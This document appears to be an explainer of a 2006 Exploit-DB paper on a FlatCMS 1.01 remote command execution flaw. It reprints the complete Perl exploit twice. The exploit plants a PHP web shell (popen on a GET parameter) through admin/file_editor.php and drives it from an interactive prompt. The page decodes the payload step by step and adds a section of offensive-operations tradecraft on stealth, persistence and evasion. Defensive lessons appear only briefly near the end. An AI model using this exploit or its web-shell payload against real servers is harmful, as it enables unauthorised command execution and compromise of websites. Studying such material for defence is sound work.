FlatCMS 1.01 'file_editor.php' Remote Command Execution Explained

FlatCMS 1.01 'file_editor.php' Remote Command Execution Explained
What this paper is
This paper details a vulnerability in FlatCMS version 1.01 that allows for Remote Command Execution (RCE). The exploit targets the file_editor.php script within the admin directory. By manipulating specific input parameters, an attacker can trick the application into writing arbitrary PHP code to a file on the server, which can then be executed. The provided exploit is a Perl script that automates this process.
Simple technical breakdown
The core of the vulnerability lies in how file_editor.php handles user-supplied content and filenames.
- File Writing: The script intends to save content (
$f_content) into a specified file ($save_file). - Insufficient Sanitization: The
stripslashes()function is used on$f_content. This function primarily removes backslashes, which is insufficient to prevent malicious code injection, especially when dealing with PHP code. - Direct File Manipulation: If
$save_fileis provided, the script directly opens it in write mode (w) and writes the (unsafely) processed$f_contentinto it. - Exploitation Path:
- The attacker crafts a malicious PHP payload and sends it as the
f_contentparameter. - Crucially, the attacker also controls the
$save_fileparameter. By setting$save_fileto a filename likecijfer.php, they can cause the server to write their malicious PHP code into this new file. - Once the malicious file is written, the attacker can then request this newly created file (e.g.,
http://target.com/admin/cijfer.php?cij=some_command) to execute arbitrary commands. Thecijparameter is used to pass the actual command to be executed by the injected PHP code.
- The attacker crafts a malicious PHP payload and sends it as the
Complete code and payload walkthrough
The provided Perl script automates the exploitation of the FlatCMS vulnerability. Let's break down its components.
#!/usr/bin/perl
#
# FlatCMS <=1.01 Remote Command Execution Exploit
#
# Copyright (c) 2005 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'admin/file_editor.php'
# of FlatCMS which can lead to remote command execution.
# Here is where the problem is (line 22 of 97):
#
# ...
# [1] if($save_file != "") {
# [2] $f_content = stripslashes("$f_content");
# if(!$f_w = fopen($save_file, w)) {
# echo ("Cannot open file ("."$save_file".")<br />\n");
# }
# [3] if(!fwrite($f_w,$f_content)) {
# echo ("File "."$save_file"." is not writable!<br />\n");
# }
# echo("Done saving file "."$save_file"."\n");
# }
# ...
#
# 1. If $save_file is not empty, use it.
# 2. $f_content filters only slashes? that is all?
# 3. write contents of $f_content into $save_file! :))
#
# kiitos ReZEN (www.xorcrew.net) :))
#
# $Id: cijfer-fcmsxpl.pl,v 0.1 2005/01/04 03:48:00 cijfer Exp cijfer $
use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;
$port = 80;
$res = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel);
&usage unless $host and $dir;
while()
{
print color("green"), "cijfer\$ ", color("reset"); # colors :))!
chomp($command = <STDIN>);
exit unless $command;
&exploit($command);
}
sub usage
{
print "FlatCMS <=1.01 Remote Command Execution Exploit\n";
print "Usage: $0 -hd [OPTION]...\n\n";
print " -h --host\thostname or ip of target\n";
print " -d --dir\tdirectory without ending slash\n";
print " -p --port\tport number (default: 80)\n";
print " -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n\n";
exit;
}
sub exploit
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;
$string = "echo%20_cijfer_%3B";
$string .= uri_escape(shift);
$string .= "%3Becho%20_cijfer_";
$execut = "%3C%3F%24handle%3Dpopen%5C%28%24_GET%5Bcij%5D%2C%22r%22%29%3Bwhile%28%21feof";
$execut .= "%28%24handle%29%29%7B%24line%3Dfgets%28%24handle%29%3Bif%28strlen%28%24line%";
$execut .= "29%3E%3D1%29%7Becho%22%24line%22%3B%7D%7Dpclose%28%24handle%29%3B%3F%3E";
$path = "http://".$host.$dir."/admin/file_editor.php";
$out=$cij->get($path."?save_file=cijfer.php&f_content=".$execut);
$out=$cij->get("http://".$host.$dir."/admin/cijfer.php?cij=".$string);
if($out->is_success)
{
@cij=split("_cijfer_",$out->content);
print substr(@cij[1],1);
}
}
# milw0rm.com [2006-01-04]Code Fragment/Block -> Practical Purpose
#!/usr/bin/perl: Shebang line, indicates the script should be executed with Perl.use LWP::UserAgent;: Imports theLWP::UserAgentmodule, which is used for making HTTP requests.use URI::Escape;: ImportsURI::Escapefor URL encoding/decoding.use Getopt::Long;: ImportsGetopt::Longfor parsing command-line options.use Term::ANSIColor;: ImportsTerm::ANSIColorfor adding color to terminal output.$port = 80;: Initializes the default HTTP port.$res = GetOptions(...): Parses command-line arguments forhost,dir,port, andtunnel.&usage unless $host and $dir;: Calls theusagesubroutine ifhostordirare not provided, as they are mandatory.while() { ... }: An infinite loop to continuously prompt the user for commands.print color("green"), "cijfer\$ ", color("reset");: Prints a colored prompt to the console.chomp($command = <STDIN>);: Reads a command from standard input and removes trailing newline.exit unless $command;: Exits the loop if the user enters an empty command.&exploit($command);: Calls theexploitsubroutine with the user-provided command.sub usage { ... }: Defines a subroutine to print usage instructions and exit.sub exploit { ... }: The main subroutine that performs the exploit.$cij = LWP::UserAgent->new() or die;: Creates a newLWP::UserAgentobject.$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");: Sets a User-Agent string for the HTTP requests.$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;: Configures an HTTP proxy if one is provided via the--tunneloption.$string = "echo%20_cijfer_%3B";: Starts building the command string to be executed._cijfer_are markers for splitting the output.$string .= uri_escape(shift);: Appends the user-provided command (shifted from@_which holds arguments toexploit) after URL encoding it.$string .= "%3Becho%20_cijfer_";: Appends the closing marker.$execut = "%3C%3F%24handle%3Dpopen%5C%28%24_GET%5Bcij%5D%2C%22r%22%29%3Bwhile%28%21feof";: This is the first part of the PHP payload that will be written tocijfer.php. It decodes to:<?$handle=popen($_GET[cij],"r");while(!feof.$execut .= "%28%24handle%29%29%7B%24line%3Dfgets%28%24handle%29%3Bif%28strlen%28%24line%";: Continues the PHP payload. Decodes to:($handle)){$line=fgets($handle);if(strlen($line%.$execut .= "29%3E%3D1%29%7Becho%22%24line%22%3B%7D%7Dpclose%28%24handle%29%3B%3F%3E";: Completes the PHP payload. Decodes to:)>=1){echo"$line";}pclose($handle);?>.- Full Decoded Payload (
$execut):<?$handle=popen($_GET[cij],"r");while(!feof($handle)){$line=fgets($handle);if(strlen($line)>=1){echo"$line";}}pclose($handle);?> - Purpose of Payload: This PHP code takes a command from the
cijGET parameter ($_GET[cij]), executes it usingpopen()in read mode ("r"), reads the output line by line, and echoes each non-empty line. This effectively creates a remote shell.
- Full Decoded Payload (
$path = "http://".$host.$dir."/admin/file_editor.php";: Constructs the URL for the vulnerablefile_editor.phpscript.$out = $cij->get($path."?save_file=cijfer.php&f_content=".$execut);: This is the first HTTP request. It targetsfile_editor.phpand exploits the vulnerability:save_file=cijfer.php: This tells the script to create/overwrite a file namedcijfer.php.f_content=$execut: This injects the malicious PHP payload (decoded above) into the content ofcijfer.php.
$out = $cij->get("http://".$host.$dir."/admin/cijfer.php?cij=".$string);: This is the second HTTP request. It targets the newly createdcijfer.phpfile and executes the user's command:http://.../admin/cijfer.php: Accesses the file that was just written.?cij=$string: Passes the URL-encoded command (prefixed and suffixed with_cijfer_markers) to the injected PHP script. The PHP script will then execute this command viapopen().
if($out->is_success) { ... }: Checks if the second HTTP request was successful.@cij = split("_cijfer_", $out->content);: Splits the response content from the second request using the_cijfer_markers. This isolates the actual command output.print substr(@cij[1], 1);: Prints the captured command output.substr(@cij[1], 1)takes the second element of the split array (index 1) and removes the first character, which is likely a newline or whitespace introduced by theechoin the payload.
Shellcode/Payload Segments:
Stage 1 (Writing the PHP backdoor):
- URL:
http://<target>/admin/file_editor.php?save_file=cijfer.php&f_content=<URL_ENCODED_PHP_PAYLOAD> - Action: The
file_editor.phpscript receivessave_file=cijfer.phpandf_content=<URL_ENCODED_PHP_PAYLOAD>. It then writes the decoded PHP payload into a file namedcijfer.phpin the current directory (likely theadmindirectory). - Decoded PHP Payload:
<?$handle=popen($_GET[cij],"r");while(!feof($handle)){$line=fgets($handle);if(strlen($line)>=1){echo"$line";}}pclose($handle);?><? ... ?>: Standard PHP opening and closing tags.$handle=popen($_GET[cij],"r");: Opens a process pipe. The command to execute is taken from thecijGET parameter."r"means open for reading the output of the command.while(!feof($handle)): Loops as long as the end of the file (pipe output) has not been reached.$line=fgets($handle);: Reads one line from the process output.if(strlen($line)>=1){echo"$line";}: If the line is not empty, it echoes the line to the HTTP response.pclose($handle);: Closes the process pipe.
- URL:
Stage 2 (Executing commands):
- URL:
http://<target>/admin/cijfer.php?cij=<URL_ENCODED_COMMAND> - Action: This request targets the
cijfer.phpfile created in Stage 1. Thecijparameter contains the command to be executed. The PHP script then executes this command usingpopenand returns its output. - Command String Construction: The Perl script constructs the
cijparameter as:echo%20_cijfer_%3B<URL_ENCODED_COMMAND>%3Becho%20_cijfer_.echo%20_cijfer_%3B: Prints_cijfer_before the actual command output.<URL_ENCODED_COMMAND>: The command provided by the user.%3Becho%20_cijfer_: Prints_cijfer_after the actual command output.
- Perl Script Output Processing: The Perl script receives the response, splits it by
_cijfer_, and prints the content between the markers, effectively displaying the command's output.
- URL:
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server. No prior authentication to the FlatCMS admin panel is required, as the vulnerability is in a publicly accessible script (
admin/file_editor.php). - Lab Preconditions:
- A vulnerable instance of FlatCMS <= 1.01 running on a web server.
- The web server must have PHP enabled and configured to allow execution of PHP files.
- The web server process must have write permissions to the directory where
file_editor.phpresides (typically theadmindirectory). This is a critical prerequisite. If the web server process cannot write to this directory, the exploit will fail.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
LWP::UserAgent,URI::Escape,Getopt::Long,Term::ANSIColorPerl modules installed. These are standard modules and usually available.- A way to reach the target web server (e.g., direct internet access, VPN, or through a proxy).
- Execution Pitfalls:
- Write Permissions: The most common failure point is the web server process lacking write permissions to the target directory.
- Path Traversal/Sanitization: While this specific exploit doesn't directly use path traversal, if the
save_fileparameter were more strictly validated or if the script was placed in a different directory structure, the exploit path might change. However, for FlatCMS 1.01, it's expected to be in theadmindirectory. - File Overwriting: The exploit overwrites
cijfer.php. Ifcijfer.phpalready exists and contains critical data, this exploit will destroy it. - Web Application Firewalls (WAFs): Modern WAFs might detect the encoded PHP payload or the suspicious GET requests, blocking the exploit.
- Server Configuration: Certain PHP configurations (e.g.,
disable_functions) might preventpopenfrom working or restrict the commands that can be executed. - URL Encoding Issues: Incorrect URL encoding of commands or payloads could lead to execution failures. The Perl script handles this with
uri_escape. - Directory Context: The exploit assumes
file_editor.phpand the createdcijfer.phpare in the same directory (or thatcijfer.phpis accessible from the web root). The$dirparameter helps specify the base path to the FlatCMS installation.
- Tradecraft Considerations:
- Stealth: The exploit uses standard HTTP GET requests. The primary indicators would be the creation of
cijfer.phpand subsequent requests to it. - Persistence: This exploit is not persistent by itself. To maintain access, an attacker would need to upload a more permanent backdoor after gaining initial execution.
- Command Obfuscation: For more advanced scenarios, commands could be further obfuscated or encoded to evade basic detection.
- Error Handling: The Perl script prints output if successful. In a real engagement, operators might want to capture output silently or handle errors more gracefully.
- Stealth: The exploit uses standard HTTP GET requests. The primary indicators would be the creation of
Where this was used and when
- Discovery: The vulnerability was discovered and published by "cijfer" in 2005.
- Publication Date: The exploit paper was published on Exploit-DB on 2006-01-04.
- Context: This exploit targets a specific, older Content Management System (CMS) called FlatCMS. Such vulnerabilities were common in the early to mid-2000s as web applications were developing and security practices were less mature. It would have been relevant for attackers targeting websites running this particular version of FlatCMS around that time. It's unlikely to be effective against modern, patched systems or different CMS platforms.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user input. Always validate and sanitize all data received from external sources, especially when it's used in file operations, database queries, or command execution.
- Secure File Operations:
- Avoid directly using user-supplied filenames for file operations.
- If writing files based on user input, ensure strict validation of the filename to prevent directory traversal or execution of sensitive files.
- Use secure functions and avoid writing executable code directly into web-accessible directories.
- Principle of Least Privilege: Ensure the web server process has only the necessary file system permissions. It should not have write access to directories where it doesn't need to create or modify files.
- Regular Patching and Updates: Keep all software, including CMS platforms, web servers, and underlying frameworks, updated to the latest secure versions. Vendors often release patches for known vulnerabilities.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block malicious requests, including those attempting to inject code or exploit known vulnerabilities.
- Code Auditing: Regularly audit custom web application code for common vulnerabilities like injection flaws, insecure file handling, and improper authentication/authorization.
- Secure Development Practices: Train developers on secure coding principles and integrate security into the Software Development Life Cycle (SDLC).
ASCII visual (if applicable)
This exploit involves a sequence of HTTP requests and file operations. A simple flow diagram can illustrate this:
+-----------------+ +-----------------------------------+ +-----------------+
| Attacker's Host | ----> | Target Web Server (FlatCMS) | ----> | Target File |
| (Perl Script) | | (admin/file_editor.php) | | System |
+-----------------+ +-----------------------------------+ +-----------------+
| |
| 1. POST/GET to | 2. Writes malicious PHP code
| file_editor.php | to admin/cijfer.php
| (save_file=cijfer.php| (if write permissions exist)
| f_content=<?...?>) |
| |
| |
| |
| +-----------------------------------+
| | Target Web Server (FlatCMS) |
| | (admin/cijfer.php) |
| +-----------------------------------+
| |
| 3. GET to | 4. Executes command via popen()
| cijfer.php?cij=<command> | and returns output
| |
+---------------------------------+
|
| 5. Output returned to attacker
+--------------------------------->Explanation of the diagram:
- The attacker's Perl script sends an HTTP request to the vulnerable
file_editor.phpscript. This request includes parameters to specify a filename (save_file=cijfer.php) and the content to write (f_content=<?...?>). - If the web server process has write permissions in the
admindirectory,file_editor.phpwrites the provided PHP code into a new file namedcijfer.php. - The attacker's script then sends a second HTTP request, this time directly to the newly created
cijfer.php. This request includes acijparameter containing the command the attacker wants to execute. - The
cijfer.phpscript executes the command provided in thecijparameter usingpopen()and captures its output. - The output of the executed command is sent back to the attacker's Perl script in the HTTP response.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/1405
- Original Exploit Code: Included within the paper itself.
- Vulnerable Software: FlatCMS <= 1.01
- Author: cijfer
- Published: 2006-01-04
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
#
# FlatCMS <=1.01 Remote Command Execution Exploit
#
# Copyright (c) 2005 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'admin/file_editor.php'
# of FlatCMS which can lead to remote command execution.
# Here is where the problem is (line 22 of 97):
#
# ...
# [1] if($save_file != "") {
# [2] $f_content = stripslashes("$f_content");
# if(!$f_w = fopen($save_file, w)) {
# echo ("Cannot open file ("."$save_file".")<br />\n");
# }
# [3] if(!fwrite($f_w,$f_content)) {
# echo ("File "."$save_file"." is not writable!<br />\n");
# }
# echo("Done saving file "."$save_file"."<br />\n");
# }
# ...
#
# 1. If $save_file is not empty, use it.
# 2. $f_content filters only slashes? that is all?
# 3. write contents of $f_content into $save_file! :))
#
# kiitos ReZEN (www.xorcrew.net) :))
#
# $Id: cijfer-fcmsxpl.pl,v 0.1 2005/01/04 03:48:00 cijfer Exp cijfer $
use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;
$port = 80;
$res = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel);
&usage unless $host and $dir;
while()
{
print color("green"), "cijfer\$ ", color("reset"); # colors :))!
chomp($command = <STDIN>);
exit unless $command;
&exploit($command);
}
sub usage
{
print "FlatCMS <=1.01 Remote Command Execution Exploit\n";
print "Usage: $0 -hd [OPTION]...\n\n";
print " -h --host\thostname or ip of target\n";
print " -d --dir\tdirectory without ending slash\n";
print " -p --port\tport number (default: 80)\n";
print " -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n\n";
exit;
}
sub exploit
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;
$string = "echo%20_cijfer_%3B";
$string .= uri_escape(shift);
$string .= "%3Becho%20_cijfer_";
$execut = "%3C%3F%24handle%3Dpopen%5C%28%24_GET%5Bcij%5D%2C%22r%22%29%3Bwhile%28%21feof";
$execut .= "%28%24handle%29%29%7B%24line%3Dfgets%28%24handle%29%3Bif%28strlen%28%24line%";
$execut .= "29%3E%3D1%29%7Becho%22%24line%22%3B%7D%7Dpclose%28%24handle%29%3B%3F%3E";
$path = "http://".$host.$dir."/admin/file_editor.php";
$out=$cij->get($path."?save_file=cijfer.php&f_content=".$execut);
$out=$cij->get("http://".$host.$dir."/admin/cijfer.php?cij=".$string);
if($out->is_success)
{
@cij=split("_cijfer_",$out->content);
print substr(@cij[1],1);
}
}
# milw0rm.com [2006-01-04]